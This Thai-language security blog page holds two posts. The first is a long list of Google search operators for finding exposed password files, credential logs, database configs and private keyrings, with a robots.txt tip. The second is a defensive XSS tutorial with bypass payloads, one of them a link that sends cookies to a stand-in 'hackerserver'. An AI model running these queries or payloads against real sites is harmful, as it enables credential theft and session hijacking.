Security

2008/Oct/21

  ช่องทางมากมายที่เราสามารถ  hack โดยใช้ความสามารถของ Google  เจ้า robot ของ Google จะวิ่งเข้าที่เวบไซด์แล้วทำการเก็บข้อมูล เท่าที่มันสามารถเข้าถึงได้  แบบ Spider หรือ แบบใยแมงมุมนั้นเอง เรามาดูกันว่าเราจะใส่  keyword  ยังไงได้บ้าง

ตัวอย่างเช่น

“admin account info” filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
“# -FrontPage-” ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-” inurl:service.pwd
“AutoCreate=TRUE password=*”
“http://*:*@www” domainname
“index of/” “ws_ftp.ini” “parent directory”
“liveice configuration file” ext:cfg -site:sourceforge.net
“parent directory” +proftpdpasswd
“Duclassified” -site:duware.com “DUware All Rights reserved”
“duclassmate” -site:duware.com
“Dudirectory” -site:duware.com
“dudownload” -site:duware.com
“Elite Forum Version *.*”
“Link Department”
“sets mode: +k”
“your password is” filetype:log
filetype:config config intext:appSettings “User ID”
filetype:dat “password.dat”
filetype:dat inurl:Sites.dat
filetype:dat wand.dat
filetype:inc dbconn
filetype:inc intext:mysql_connect
filetype:inc mysql_connect OR mysql_pconnect
filetype:inf sysprep
filetype:ini inurl:”serv-u.ini”
filetype:ini inurl:flashFXP.ini
filetype:ini ServUDaemon
filetype:ini wcx_ftp
filetype:ini ws_ftp pwd
filetype:ldb admin
filetype:log “See `ipsec –copyright”
filetype:log inurl:”password.log”
filetype:mdb inurl:users.mdb
filetype:mdb wwforum
filetype:netrc password
filetype:pass pass intext:userid
filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword”
filetype:reg reg +intext:?WINVNC3?
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:sql “insert into” (pass|passwd|password)
filetype:sql (”values * MD5″ | “values * password” | “values * encrypt”)
filetype:sql +”IDENTIFIED BY” -cvs
filetype:sql password
filetype:url +inurl:”ftp://” +inurl:”;@”
filetype:xls username password email
htpasswd
htpasswd / htgroup
htpasswd / htpasswd.bak
intext:”enable password 7″
intext:”enable secret 5 $”
Web Wiz Journal”
intitle:”index of” intext:connect.inc
intitle:”index of” intext:globals.inc
intitle:”Index of” passwords modified
intitle:”Index of” sc_serv.conf sc_serv content
intitle:”phpinfo()” +”mysql.default_password” +”Zend Scripting Language Engine”
intitle:dupics inurladd.asp | default.asp | view.asp | voting.asp) -site:duware.com
intitle:index.of administrators.pwd
intitle:Index.of etc shadow
intitle:index.of intext:”secring.skr”|”secring.pgp”|”secring.bak”
intitle:rapidshare intext:login
inurl:”calendarscript/users.txt”
inurl:”editor/list.asp” | inurl:”database_editor.asp” | inurl:”login.asa” “are set”
inurl:”GRC.DAT” intext:”password”
inurl:”Sites.dat”+”PASS=”
inurl:”slapd.conf” intext:”credentials” -manpage -”Manual Page” -man: -sample
inurl:”slapd.conf” intext:”rootpw” -manpage -”Manual Page” -man: -sample
inurl:”wvdial.conf” intext:”password”
inurl:/db/main.mdb
inurl:/wwwboard
inurl:ccbill filetype:log
inurl:cgi-bin inurl:calendar.cfg
inurl:chap-secrets -cvs
inurl:config.php dbuname dbpass
inurl:filezilla.xml -cvs
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man
inurl:nuke filetype:sql
inurl:ospfd.conf intext:password -sample -test -tutorial -download
inurl:pap-secrets -cvs
inurl:pass.dat
inurl:perform filetype:ini
inurl:perform.ini filetype:ini
inurl:secring ext:skr | ext:pgp | ext:bak
inurl:server.cfg rcon password
inurl:ventrilo_srv.ini adminpassword
inurl:vtund.conf intext:pass -cvs
inurl:zebra.conf intext:password -sample -test -tutorial -download
LeapFTP intitle:”index.of./” sites.ini modified
master.passwd

สามารถเข้าไปดูเพิ่มเติมได้ที่

..  http://ha.xors.org/hacking-tutorials/hacking-google/#content

ทางที่ดีเราควรสร้าง file  robot.txt  แล้ว disallow file หรือ directoryที่สำคัญๆ เอาไว้
เช่น

User-agent: *
Disallow: /admin
Disallow: /config
Disallow: /data

 

2008/Oct/21

       ไม่ว่าข้อมูลใดๆก็ตามที่ได้รับจาก User  ถือว่ามีความเสี่ยงในด้านของปลอดภัยทั้งนั้น เพราะเราไม่สามารถรู้วัตถประสงค์ที่แท้จริงของผู้ใช้งานระบบของเราว่าเค้าจะใส่ข้อมูลที่เราต้องการหรืออาจจะเป็นข้อมูลที่เราไม่พึ่งประสงค์เข้ามาในระบบ หนทางที่ดีที่สุดคือการใส่ระบบป้องกันให้ระบบของเรา หรือ การเขียน program ให้ปลอดภัยนั้นเอง 

      การโจมตีสามารถทำได้โดย การเขียน script ฝั่งลงไปกับข้อมูล (Cross site scripting attacks) หรือการหาช่ิองทางของคำสั่ง query ในฐานข้อมูลเพื่อดึงข้อมูลที่ต้องการออกมา (SQL injection attacks) สามารถทำได้หลากหลายรูปแบบ และเป็นสิ่งที่เราน่าจะเรียนรู้เพื่อนำไปสู่วิธี่การป้องกันที่ดี  ลองคิดดูว่าการเขียนโปรแกรมของเรามีการจัดการเรื่องพวกนี้ได้ดีแค่ไหน หรือ ดีพอหรือยัง มาดูตัวอย่างการป้องกันที่เราคิดว่าน่าจะเพียงพอ

 ถ้าข้อมูลที่เราได้รับเป็นแบบนี้  

 somepage.aspx?foo=<script>alert('vulnerable XSS code')</script>

 ฝั่ง Server เราก็เขียนก็แค่เขียน filter เพื่อป้องกันไม่ให้ script นี้สามารถ รันได้

1 <%
2             fooString= Request.querystring("foo")
3             fooString = Replace(fooString, "<", " ")
4             fooString = Replace(fooString, ">", " ")
5             fooString = Replace(fooString, "%", " ")
6             fooString = Replace(fooString, ",", " ")
7             Response.Write fooString
8 %> 

 จะเห็นได้ว่าแค่นี้ก็น่าจะเพียงพอแล้วที่เราจะป้องกันจากวิธีการโจมตีด้วยวิธีนี้ ถ้าอย่างนั้น หากผู้โจมตีเปลี่ยนรูปแบบข้อมูลเป็น

somepage.aspx?foo=%2bADw-script%2bAD4-alert('vulnerable XSS code')%2bADw-/script%2bAD4-

การป้องการด้านบนก็ไม่สามารถป้องกันได้

ถ้าเราเปลี่ยนมาใช้การเข้ารหัสข้อมูลที่เป็น  HTML ก่อนนำไปใช้งานโดย Server.HTMLEncode() 

1 Server.HTMLEncode(<%= (Request.Params["Search"])%>); 

 แต่ถ้าข้อมูลที่ได้รับเป็นแบบนี้

 1 <a id=evilLink  href="http://victimsite.com
 2 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 3 %2Fhackerserver%2Fhackersite
 4 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')
 5 %3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com
 6 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 7 %2Fhackerserver%2Fhackersite
 8 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%
 9 3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">
10 http://victimsite.com/default.aspx</a>

อีกตัวอย่างหนึ่งถ้าเราใช้  Server.HTMLEncode() 

<IMG src='<%=Server.HtmlEncode(request("im"))%>'>

ถ้าข้อมูลมี่ได้รับเป็นแบบนี้

<IMG src="javascript:alert('XSS');">  

สังเกตได้ว่าจะไม่มี tag "<"  หรือ ">" ให้เห็นเลย การเข้ารหัส HTML จึงไม่เกิดขึ้น 

การตรวจข้อมูลที่นำเข้า (Input Validation)

 ดังนั้นก็ป้องกันที่ดีนั้นควรกำหนรูปแบบข้อมูลที่เราต้องการขึ้นมาก่อนหรือที่เรียกว่า White list แล้วทำการตรวจสอบ (Validation)เอาเฉพาะข้อมูลที่ต้องการเท่านั้น นอกเหนือจากนั้นถือว่าเป็น  ข้อมูลที่ไม่พึ่งประสงค์ การตรวจสอบอาจจะใช้ Regular expression เช่น

string pattern = @"^[A-Za-z]+$";  //รับข้อมูลที่เป็นตัวอักษร a-z เท่านั้น

การเข้ารหัสข้อมูลที่เราดึงมาใช้งาน  (Output Encoding)

 ใน  .net  สามารถนำ library Anti-Cross Site Scripting ของ Microsoft มาใช้ได้เลย

 http://msdn.microsoft.com/en-us/security/aa973814.aspx 

 หรือใช้  XSSDetect  ซึ่งเป็น  pluginใน Visual Studio มาใช้ในการตรวจสอบ code 

XSSDetect

 http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348-bdb9-45b3-a1b7-44ccdcb7cfbe&displaylang=en
 

 



snippet.googalz.com
View full profile